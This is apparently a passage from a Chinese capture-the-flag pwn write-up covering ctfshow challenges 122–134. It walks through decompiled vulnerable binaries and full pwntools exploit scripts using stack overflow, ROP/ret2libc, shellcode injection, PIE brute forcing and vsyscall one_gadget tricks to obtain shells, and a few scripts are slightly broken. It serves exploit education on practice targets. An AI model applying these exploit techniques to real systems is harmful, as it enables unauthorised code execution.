break;
case 'O':
case 'o':
v7 = v13++;
*v7 = 48;
break;
case 'S':
case 's':
v8 = v13++;
*v8 = 53;
break;
case 'T':
case 't':
v9 = v13++;
*v9 = 55;
break;
case 'Z':
case 'z':
v10 = v13++;
*v10 = 50;
break;
default:
v11 = v13++;
*v11 = *i;
break;
}
}
*v13 = 0;
strcpy(dest, src);
return __readgsdword(0x14u) ^ v16;
}

可以看到将选项1读入的flag,传入到选项4的sub_80488C6函数中,flag中只要含有h或者H字符就会变成三个字符-> “1-1” ,可以利用这个进行栈溢出。然后函数结尾还有strcpy,将变换后的src字符串,拷贝到dest指向的内存位置。然后由于栈溢出覆盖了canary,所以函数最后会触发stack_chk_fail函数。可以利用栈溢出,strcpy,和触发stack_chk_fail函数,以及搜集的ROPgadget,进行getshell

可以进行验证一下:

img

其他的都是一个字符对应一个字符,只有h由原本的h变成了1-1

具体流程:

首先选1,输入flag,然后选4,将输入的flag中的h变成1-1字符串,在4选项进入的函数结尾处,strcpy,将ebp+8位置指向堆的指针地址,存到dest,将 从输入的flag中变化后的字符串 的起始地址传到src处, 将src处字符串拷贝到dest处 由于 可以将h字符变长造成栈溢出,所以可以覆盖ebp+8位置的地址, 覆盖为stack_chk_fail的got地址。 然后strcpy将src处的字符串拷贝到stack_chk_fail的got地址处。

这里可以通过构造出泄漏出puts函数的地址,然后进行常规的rop,当然,还有更加简单的方法,这里大家可以自行尝试

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *  
context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28277)
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('/home/bit/libc/32bit/libc-2.23.so')
pop_ebp_ret = 0x08048B01
pop_edi_ebp_ret = 0x08048D8E
leave_ret = 0x080485D8
puts = elf.sym['puts']
puts_got = elf.got['puts']
arg1 = 0x804b01c
readline = 0x080486CB
fix_printf = 0x80484b6
ret = 0x0804846a
buf = 0x0804BCF0

io.recvuntil('Your choice: ')
io.sendline('1')
sleep(0.5)
io.send(p32(ret) + 'AAAAAAAA' + p32(fix_printf) + '0' + 'H'*85 + p32(pop_ebp_ret) + p32(arg1) + p32(puts) + p32(pop_ebp_ret) + p32(puts_got) + p32(readline) + p32(pop_edi_ebp_ret) + p32(buf) + p32(0x01010101) + p32(pop_ebp_ret) + p32(buf-4) + p32(leave_ret) +'\n')

io.recvuntil('Your choice: ')
io.sendline('4')
puts = u32(io.recvrepeat(0.5)[:4])
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
sh = libc_base + next(libc.search("/bin/sh"))
payload = p32(system) + p32(0) + p32(sh)
io.sendline(payload)

io.interactive()

pwn 123

检查保护:

img

32位开启Canary保护NX保护,部分开启RELRO

IDA查看main函数:

img

着重看whoareyou,ctfshow,seeyou这三个函数:

Whoareyou():

img

name在bss段:

img

ctfshow():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
unsigned int ctfshow()
{
unsigned int result; // eax
int i; // [esp+8h] [ebp-40h] BYREF
int v2; // [esp+Ch] [ebp-3Ch] BYREF
int v3[11]; // [esp+10h] [ebp-38h] BYREF
unsigned int v4; // [esp+3Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
for ( i = 0; i <= 9; ++i )
v3[i + 1] = 0;
puts("0 > exit");
puts("1 > edit number");
puts("2 > show number");
puts("3 > sum");
puts("4 > dump all numbers");
printf(" > ");
__isoc99_scanf("%d", v3);
switch ( v3[0] )
{
case 0:
result = __readgsdword(0x14u) ^ v4;
break;
case 1:
printf("Index to edit: ");
__isoc99_scanf("%d", &i);
printf("How many? ");
__isoc99_scanf("%d", &v2);
v3[i + 1] = v2;
result = sub_8048990();
break;
case 2:
printf("Index to show: ");
__isoc99_scanf("%d", &i);
printf("arr[%d] is %d\n", i, v3[i + 1]);
result = sub_8048990();
break;
case 3:
v2 = 0;
for ( i = 0; i <= 9; ++i )
v2 += v3[i + 1];
printf("Sum is %d\n", v2);
result = sub_8048990();
break;
case 4:
for ( i = 0; i <= 9; ++i )
printf("arr[%d] is %d\n", i, v3[i + 1]);
goto LABEL_14;
default:
LABEL_14:
result = sub_8048990();
break;
}
return result;
}

可以看到对数组进行了初始化,但是后面并没有对数组边界进行检查,可以直接修改返回地址

数组起始位置在0x34位置,对应返回地址位置位 (0x34+4)/4 = 14

存在后门函数init0():

img

所以我们只需要将arr[14]修改成后门函数地址即可get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28105)
elf = ELF('./pwn')
init0 = elf.sym['init0']
io.recvuntil("what's your name?")
io.sendline("bit")
io.recvuntil("4 > dump all numbers")
io.recvuntil(" > ")
io.sendline("1")
io.recvuntil("Index to edit: ")
io.sendline("14")
io.recvuntil("How many? ")
io.sendline(str(init0))
io.sendline('0')
io.recv()
io.interactive()

NX Bypass

pwn 124

检查保护:

32位仅部分开启RELRO保护

IDA查看main函数:

先输入一个字符串,然后进入判断,如果输入的是”CTFshowPWN”就进入ctfshow函数,跟进ctfshow函数:

进入ctfshow函数后这里我们可以看到这段汇编代码的一个基本逻辑就是read读取一些数据然后执行这段数据,因此这里我们直接将shellcode注入即可

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(log_level='debug',arch='i386', os='linux') //在使用shellcode.sh()时最好加上这段
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28301)
shellcode = asm(shellcraft.sh())
payload = shellcode
p.sendline("CTFshowPWN")
p.send(payload)

p.interactive()

pwn 125

检查保护:

64位开启NX,部分开启RELRO

IDA查看main函数:

跟进ctfshow函数:

很明显存在缓冲区溢出漏洞,常规做法一般会如何去做?由于开启了NX,一般会考虑使用ROP去绕过NX,继续查看发现程序中有system函数地址,找到ez函数:

常规做法这里不再概述,相信大家在前面练了这么多应该都会了,我们仔细查看汇编代码(看伪代码看不出来的地方):

发现这里多出了mov rdi,rsp,这不就是将 rdi 指向了scanf读入的数据在内存中的第一个位置?利用这一点可以很简单写入”/bin/sh\x00”

那么现在我们有了溢出漏洞,有了system,有了”/bin/sh“,就非常简单了

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote('pwn.challenge.ctf.show',28290)
call_system = 0x400672

call_system = 0x400672

payload = b'/bin/sh\x00' + b'a' * 0x2000 + p64(call_system)

p.interactive()

pwn 126

检查保护:

64位开启NX,部分开启RELRO

IDA查看main函数:

跟进ctfshow():

image-20250225202501210

明显的栈溢出漏洞了,那么我们常规做法,也就是前面学习的过程中我们可以使用ret2libc轻松绕过

依据题目描述,我们可知远程环境的ALSR保护为2,我们先在本地改为0,可以发现,我们无需去进行泄漏地址,直接在gdb调试(详细调试过程直播中会进行讲解)找到对应地址即可进行攻击。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28198)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
### ALSR = 0 ####
'''
ret = 0x80483ba # 0x080483ba : ret
system = 0x7ffff7a31420
binsh = 0x7ffff7b95d88
pop_rdi = 0x4007a3 # 0x00000000004007a3 : pop rdi ; ret
ret = 0x4004c6 # 0x00000000004004c6 : ret

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
io.send(payload)
io.recv()
io.interactive()
'''
### ret2libc ###
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x4007a3 # 0x00000000004007a3 : pop rdi ; ret
ret = 0x4004c6 # 0x00000000004004c6 : ret

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil("Let's go\n")
io.sendline(payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0x40+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.recvuntil("Let's go\n")
io.sendline(payload)
io.interactive()

pwn 127

检查保护:

64位开启NX,部分开启RELRO

IDA查看main函数:

跟进ctfshow():

同样的原理,未开启PIE时,仍然可以用ret2libc的方法,这里可以当作对前面题目的复习

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')

pwnfile = "../code/pwn"
p = remote("pwn.challenge.ctf.show", 28218)
# p = process(pwnfile)
elf = ELF(pwnfile)
# libc = ELF("./libc-2.23.so")

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']

pop_rdi = 0x400803
ret = 0x4004fe

payload = b'a' * (0x80 + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
sl(payload)

puts_addr = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))

log.success(f'puts_addr -- > ' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')
sys_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * (0x80 + 8) + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(sys_addr)

sl(payload2)

itr()

pwn 128

检查保护:

64位开启NX,开启了PIE,部分开启RELRO

IDA查看main函数,跟进dopwn():

分别跟进set_user():

set_pwn():

可以读取128字符的username,从set_pwn中对strncpy的调用可以看出长度保存在a1+180,username首地址在a1+140,可以通过溢出修改strncpy长度造成溢出。

注:这里之所以没有输入函数还可以输入数据,是因为这里其实bss段的起始地址与stdin重叠了,因此这里fgets的第三个参数_bss_start其实可以看成是stdin

仔细查看发现存在后门函数GAME_OVER():

这个程序开启了PIE保护,我们不能确定后门函数GAME_OVER()的具体地址,因此没办法直接通过溢出来跳转到后门函数GAME_OVER()。我们可以尝试爆破。

由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。

查看汇编代码:

我们可以看到其地址后三位为0x900

但是由于我们的payload必须按字节写入,每个字节是两个十六进制数,所以我们必须输入两个字节。除去已知的0x900还需要爆破一个十六进制数。这个数只可能在0~0xf之间改变,因此爆破并空间不大。

我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调用io.recv( )会触发一个EOFError。由于这个特性,我们可以使用python的try…except…来捕获这个错误并进行处理。

值得注意的是,由于没有刷新缓冲区,导致远程部署环境时回显信息会有差异,即没有及时显示,先让你输入,在两次输入过后才进行回显。但是我们可以先对本地进行尝试,在确定无误后再对远程进行修改

远程exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('../code/pwn')

#程序每次加载基地址都不同,因此这里我们只需要一直循环一个偏移地址直到基地址变到我们输入的地址
while True:
p = remote("pwn.challenge.ctf.show", 28137)
payload = b'a'*40 + b'\xca' # 设置set_pwn里输入长度为\xca,这样正好可以截断输入数据中的'\n'
p.sendline(payload)

payload = b'a'*200
payload += b'\x01\x09' # GAME_OVER函数的偏移地址为0x900,因为程序是小端序,所以写成'\x01\x09','\x09'这里其实也可以替换成'\x19'....,这里只是只有低三位的9是确定的,第四位是需要爆破的0x0~0xf之间都可
p.sendline(payload)
try:
p.recv(timeout=1)
except EOFError:
p.close()
continue
else:
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(0.1)
p.interactive()
break

pwn 129

检查保护:

img

64位开启NX,开启了PIE,部分开启RELRO

IDA查看main函数:

img

sub_DDC进行数值初始化(init),sub_B69进行打印logo(logo)。

接下来进入一个while循环中,紧接着进入另一个while循环,调用sub_DA5函数打印菜单:

img

然后调用sub_DB00函数,读入一个字符,若此字符小于等于0则返回-1,否则,将字符用strtol函数强转为十进制数据,然后返回。返回值赋值给main函数的局部变量v3。若v3不为2则结束当前while循环,否则,调用sub_D06函数:

img

img

会输出system函数的地址。 接下来就是第二层while循环下面的语句: 若刚刚读入数字v3不为3则结束循环,若v3不为1则打印字符串并继续最外层的while循环。 若v3为1,则进入sub_B94函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int sub_B94()
{
__int64 v1; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 v5; // [rsp+10h] [rbp-110h]
__int64 v6; // [rsp+18h] [rbp-108h]
char v7[256]; // [rsp+20h] [rbp-100h] BYREF

puts("How many doubts?");
v1 = sub_B00();
if ( v1 > 0 )
v4 = v1;
else
puts("Loser.");
puts("Any more?");
v5 = v4 + sub_B00();
if ( v5 > 0 )
{
if ( v5 <= 99 )
{
v6 = v5;
}
else
{
puts("You are being a real man.");
v6 = 100LL;
}
puts("Let's go! ");
v2 = time(0LL);
if ( sub_E43(v6) )
{
v3 = time(0LL);
sprintf(v7, "Great job! You finished %d question %d seconds\n", v6, (unsigned int)(v3 - v2));
puts(v7);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Loser~ Loser~ Loser~ Loser~ Loser~");
}

程序主要还是选第一个功能,跟进对应函数查看:

img

继续跟进sub_E43():

img

read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,因此会造成栈溢出。

由于使用了PIE,而且题目中虽然有system但是没有后门,所以本题没办法使用partial write劫持RIP。

在进行调试时发现了栈上有大量指向libc的地址。

查看一下汇编代码:

img

可以发现printf输出的参数位于栈上,通过rbp定位。

利用这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从而泄露出这些地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。我们把RBP的最后两个十六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。但是成功率有限,有时候能泄露出libc中的地址,有时候是start的首地址,有时候是无意义的数据,甚至会直接出错,原因是[rbp+var_34]中的数据是0,idiv除法指令产生了除零错误。

此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。

由于我们泄露出来的只是地址的低32位,抛去前面的4个0,我们还需要猜16位,即4个十六进制数,这种方式的爆破区间有点大,成功几率较低,需要对各种条件进行限制才能提升几率。

经过调试,发现程序加载地址都为0x000055XXXXXXXXXX-0x000056XXXXXXXXXX

libc的地址都为0x7fXXXXXXXXXX

已知8个16进制数,剩下两个随便填一下如:2a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
i=0
while True:
try:
py_add = 0
i+=1
print i
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28201)
io.sendlineafter("Choice:\n",'1')
io.sendlineafter("doubts?\n",'1')
io.sendlineafter("more?\n",'1')
io.recvuntil("Question: ")
a1 = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
a2 = int(io.recvuntil(" ")[:-1])
a3 = str(a1*a2)
a4 = a3.ljust(0x30,'\x00')+'\x6c'
io.sendafter("Answer:",a4)
io.recvuntil("doubt ")
answer = int(io.recvuntil("\n")[:-1])
if answer < 0:
answer = answer + 0x100000000 # 由于answer这个数的二进制最高位有可能是0或1,所以可能位有符号数(0),要处理
answer_end = answer + 0x7f2a00000000 # 通过ELF(libc文件).symbols['函数名']查找地址
if hex(answer_end)[-2:] == '6f': # _IO_file_write+8F e0+8f=16f
py_add = answer_end - 0xf88e0 - 0x8f
elif hex(answer_end)[-2:] == '00': #_IO_2_1_stdout
py_add = answer_end - 0x3c2600
elif hex(answer_end)[-2:] == '83': #_IO_2_1_stdout_+83 00+83=83
py_add = answer_end - 0x3c2600 - 0x83
elif hex(answer_end)[-2:] == '59': #_IO_do_write+79 e0+79=159
py_add = answer_end -0xf88e0 - 0x79
elif hex(answer_end)[-2:] == '20': #_IO_file_overflow
py_add = answer_end - 0x7c820
elif hex(answer_end)[-2:] == '8a': #puts+16a 20+6a=8a
py_add = answer_end - 0x70920 - 0x16a
one_gadget = py_add + 0x45216
if py_add == 0:
io.close()
continue
io.recvuntil("Question: ")
a1 = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
a2 = int(io.recvuntil(" ")[:-1])
a3 = str(a1*a2)
a4 = a3.ljust(0x38,'\x00')+ p64(one_gadget)
io.sendafter("Answer:",a4)
io.recv(timeout=1)
except EOFError:
io.close()
continue
else:
io.interactive()
break

这里提示了远程环境为Ubuntu 16.04,我们大致就能知道了libc的版本

前面99次使得程序返回1,使得最后一次能进行栈溢出劫持rip,执行vsyscall,ret到one_gadget实现getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28161)
libc = ELF('/home/bit/libc/64bit/libc-2.23.so')
vsyscall_add = 0xffffffffff600000
io.sendlineafter("Choice:\n",'2')
io.sendlineafter("Choice:\n",'1')
io.sendlineafter("doubts?\n",'0')
io.sendlineafter("more?\n",'-378')

for i in range(99):
io.recvuntil("Question: ")
answer1 = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
answer2 = int(io.recvuntil(" ")[:-1])
io.sendlineafter("Answer:",str(answer1*answer2))

payload = 'A' * 0x30
payload += 'B'* 0x8
payload += p64(vsyscall_add) * 3
io.sendafter("Answer:",payload)
io.interactive()

pwn 130

检查保护:

img

64位开启NX,开启了PIE,部分开启RELRO

IDA查看main函数:

img

这次再来看到hint():

img

发现当全局变量show_hint非空时输出system的地址。由于缺乏任意修改地址的手段,并不能去修改show_hint,但是分析汇编代码,可以发现不管show_hint是否为空,其实system的地址都会被放置在栈上。

img

继续查看函数主功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int go(void)
{
__int64 num; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 v5; // [rsp+10h] [rbp-110h]
__int64 v6; // [rsp+18h] [rbp-108h]
char v7[256]; // [rsp+20h] [rbp-100h] BYREF

puts("How many doubts?");
num = read_num();
if ( num > 0 )
v4 = num;
else
puts("Loser~");
puts("Any more?");
v5 = v4 + read_num();
if ( v5 > 0 )
{
if ( v5 <= 999 )
{
v6 = v5;
}
else
{
puts("More doubts than before!");
v6 = 1000LL;
}
puts("Let's go! ");
v2 = time(0LL);
if ( (unsigned int)doubt(v6) )
{
v3 = time(0LL);
sprintf(v7, "Great job! You finished %d doubts in %d seconds\n", v6, (unsigned int)(v3 - v2));
puts(v7);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Loser~");
}

img

分析功能函数可以发现,当输入的关卡数为正数的时候,rbp+var_110处的内容会被关卡数取代,而输入负数时则不会,而这里的rbp + var_110也即是system存放在栈上的地址,根据栈帧开辟的原理和main函数代码的分析,由于两次循环之间并没有进出栈操作,main函数的rsp,也就是hint和go的rbp应该是不会改变的,即两个函数进入时push rbp操作的rbp值是一样的。 调试也可以发现确实如此,因为程序会将两次输入的关卡数相加,第一次输入负数,让system的地址加载到第一次输入关卡数处,第二次输入一个偏移量时就可以使rbp + var_110处原本system的地址变为one gadget的地址,从而通过后面的答题函数构造溢出劫持RIP到这个地址拿到shell。 由于rbp_var_110里的值会被当成循环次数,当次数过大时会锁定为999次,所以我们必须写一个自动应答脚本来处理题目

1
2
3
4
5
6
7
8
9
def auto_answer(io, level, last_answer):
for index in xrange(0, level):
io.recvuntil("Question: ")
temp = io.recvuntil("= ?").strip("= ?").strip().split("*")
io.recvuntil("Answer:")
if index == level -1 :
io.send(last_answer)
else:
io.send(str(int(temp[0]) * int(temp[1])))

计算发现0x38个字节后到rip,然而rip离one gadget还有三个地址长度

vsyscall中有三个无参系统调用,且只能从入口进入。我们选的这个one gadget要求rax = 0,gettimeofday执行成功时返回值就是0,因此我们可以选择调用三次vsyscall中的gettimeofday,利用执行完的ret“滑”过这片空间。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28166)
libc = ELF('/home/bit/libc/64bit/libc-2.23.so')
one_gadget = 0x4526a

image_base = 0x555555554000
system_offset = libc.symbols['system']
vsyscall_address = 0xffffffffff600400

def input_choice(io, choice):
io.recvuntil("Choice:\n")
io.sendline(str(choice))

def input_level(io, level1, level2):
io.recvuntil("How many doubts?\n")
io.sendline(str(level1))
io.recvuntil("Any more?\n")
io.sendline(str(level2))

def auto_answer(io, level, last_answer):
for index in xrange(0, level):
io.recvuntil("Question: ")
temp = io.recvuntil("= ?").strip("= ?").strip().split("*")
io.recvuntil("Answer:")
if index == level -1 :
io.send(last_answer)
else:
io.send(str(int(temp[0]) * int(temp[1])))

input_choice(io, 2)
input_choice(io, 1)

first_level = -1
second_level = one_gadget - system_offset
input_level(io, first_level, second_level)

payload = '1' * 0x38
payload += p64(vsyscall_address) * 3
auto_answer(io, 1000, payload)

io.interactive()

pwn 131

检查保护:

img

32位程序仅关闭Canary

IDA查看main函数:

img

发现程序输出了main函数的地址

跟进ctfshow函数:

img

明显的栈溢出漏洞

img

接着看:

img

img

与之前的不同,它不再对程序的原始字节码做修改,而是使用一类__x86.get_pc_thunk.xx函数,通过PC指针来进行定位

__x86.get_pc_thunk.bx的作用将下一条指令的地址赋值给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址

ebx = 0x7ae + 0x2812 = 0x2fc0

程序在运行时,这个基地址就是程序第三部分的起始位置

由于在函数末尾有恢复ebx寄存器的行为,因此需要在溢出时需要将GOT地址也覆盖上去,至此就完成了ASLR和PIE的绕过。

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28215)
elf = ELF('./pwn')
libc = ELF('/home/bit/libc/32bit/libc-2.27.so')
io.recvuntil("main addr is here :\n")
main = int(io.recvline(),16)
print hex(main)
base = main - elf.sym['main']
ctfshow = base + elf.sym['ctfshow']
write_plt = base + elf.sym['write']
write_got = base + elf.got['write']
ebx = base + 0x2fc0

payload = cyclic(132) + p32(ebx) + "bbbb" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.send(payload)

write = u32(io.recv())
print hex(write)
libc_base = write - libc.sym['write']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))

payload = cyclic(140) + p32(system) + p32(0) + p32(binsh)
io.send(payload)

io.interactive()

pwn 132

检查保护:

img

64位保护全开,这里并没有开启FORTIFY保护

IDA查看main函数:

img

跟进ctfshow函数:

img

可以看到当输入的字符串为“CTFshow-daniu”时就能得到一个shell,由于没有开启FORTIFY保护,程序也就能正常执行:

img

exp 略

pwn 133

检查保护:

img

64位保护全开,可以看到这次开启了FORTIFY保护

IDA查看main函数:

img

同上一题比较,发现有些不安全函数已经被替换成安全函数了

img

此时已经开启了缓冲区溢出攻击检查(不过这里也开启了Canary保护)

跟进ctfshow函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __fastcall ctfshow(const void *a1)
{
bool v2; // al
bool v3; // cf
bool v4; // zf
__int64 v5; // rcx
const char *v6; // rdi
const char *v7; // rsi
char v8; // al
bool v9; // cf
bool v10; // zf
__int64 v11; // rcx
const char *v12; // rdi
const char *v13; // rsi

v2 = memcmp(a1, "CTFshow-daniu", 0xDuLL) != 0;
v3 = 0;
v4 = !v2;
if ( v2 )
{
v5 = 5LL;
v6 = "Stack";
v7 = (const char *)a1;
do
{
if ( !v5 )
break;
v3 = *v7 < (unsigned int)*v6;
v4 = *v7++ == *v6++;
--v5;
}
while ( v4 );
v8 = (!v3 && !v4) - v3;
v9 = 0;
v10 = v8 == 0;
if ( v8 )
{
v11 = 3LL;
v12 = "Fmt";
v13 = (const char *)a1;
do
{
if ( !v11 )
break;
v9 = *v13 < (unsigned int)*v12;
v10 = *v13++ == *v12++;
--v11;
}
while ( v10 );
if ( (!v9 && !v10) == v9 )
{
puts("Smart boy!");
return Fmt("Smart boy!", v13);
}
else if ( !memcmp(a1, "check", 5uLL) )
{
__printf_chk(1LL, "%p\n", a1);
return _chk();
}
else
{
return puts("You are too young to simple!");
}
}
else
{
puts("Great boy!");
return Stack_Overflow("Great boy!", v7);
}
}
else
{
puts("Good boy!");
__printf_chk(1LL, "%3$#p\n");
return system("/bin/sh");
}
}

可以看到程序既定的一些漏洞在开启此保护后很多函数都被替换成相对安全函数了:

img

这里不再展开讲,详细内容在课程中会进行展开

这里就直接讲解题了,查看一下敏感字符串:

img

上一题的后门函数还在,但是很明显,由于开启了FORTIFY保护

img

这条路根本走不下来,程序就会异常退出,看到还有一个/ctfshow_flag文件,跟进查看一下:

img

可以看到如果程序走到这就会输出flag,理清逻辑,我们不难知道,当输入的字符串为“check”时即可输出flag

exp 略

pwn 134

检查保护:

img

64位保护全开,依旧开启了FORTIFY保护

IDA查看main函数:

img

跟进ctfshow函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
int __fastcall ctfshow(const void *a1)
{
bool v2; // dl
bool v3; // cf
bool v4; // zf
const char *v5; // rdi
__int64 v6; // rcx
const char *v7; // rsi
char v8; // dl
bool v9; // cf
bool v10; // zf
const char *v11; // rdi
__int64 v12; // rcx
const char *v13; // rsi
bool v14; // dl
bool v15; // cf
bool v16; // zf
const char *v17; // rdi
const char *v18; // rsi
__int64 v19; // rcx

v2 = memcmp(a1, "CTFshow-daniu", 0xDuLL) != 0;
v3 = 0;
v4 = !v2;
if ( v2 )
{
v5 = "Stack";
v6 = 5LL;
v7 = (const char *)a1;
do
{
if ( !v6 )
break;
v3 = *v7 < (unsigned int)*v5;
v4 = *v7++ == *v5++;
--v6;
}
while ( v4 );
v8 = (!v3 && !v4) - v3;
v9 = 0;
v10 = v8 == 0;
if ( v8 )
{
v11 = "Fmt";
v12 = 3LL;
v13 = (const char *)a1;
do
{
if ( !v12 )
break;
v9 = *v13 < (unsigned int)*v11;
v10 = *v13++ == *v11++;
--v12;
}
while ( v10 );
if ( (!v9 && !v10) == v9 )
{
puts("Smart boy!");
return Fmt("Smart boy!", v13);
}
else
{
v14 = memcmp(a1, "Quit", 4uLL) != 0;
v15 = 0;
v16 = !v14;
if ( !v14 )
{
puts("See you ~");
exit(0);
}
v17 = "Exit";
v18 = (const char *)a1;
v19 = 4LL;
do
{
if ( !v19 )
break;
v15 = *v18 < (unsigned int)*v17;
v16 = *v18++ == *v17++;
--v19;
}
while ( v16 );
if ( (!v15 && !v16) == v15 )
{
puts("See you again!");
return daniu("See you again!", v18);
}
else
{
return puts("You are too young to simple!");
}
}
}
else
{
puts("Great boy!");
return Stack_Overflow("Great boy!", v7);
}
}
else
{
puts("Good boy!");
__printf_chk(1LL, "%6$#x\n");
return system("/bin/sh");
}
}

可以看到,逻辑原本挺简单的,但是被弄的非常复杂,同样的,存在后门函数:

img

只需要捋清楚哪里一步步调用一步步跟进就能获取到flag

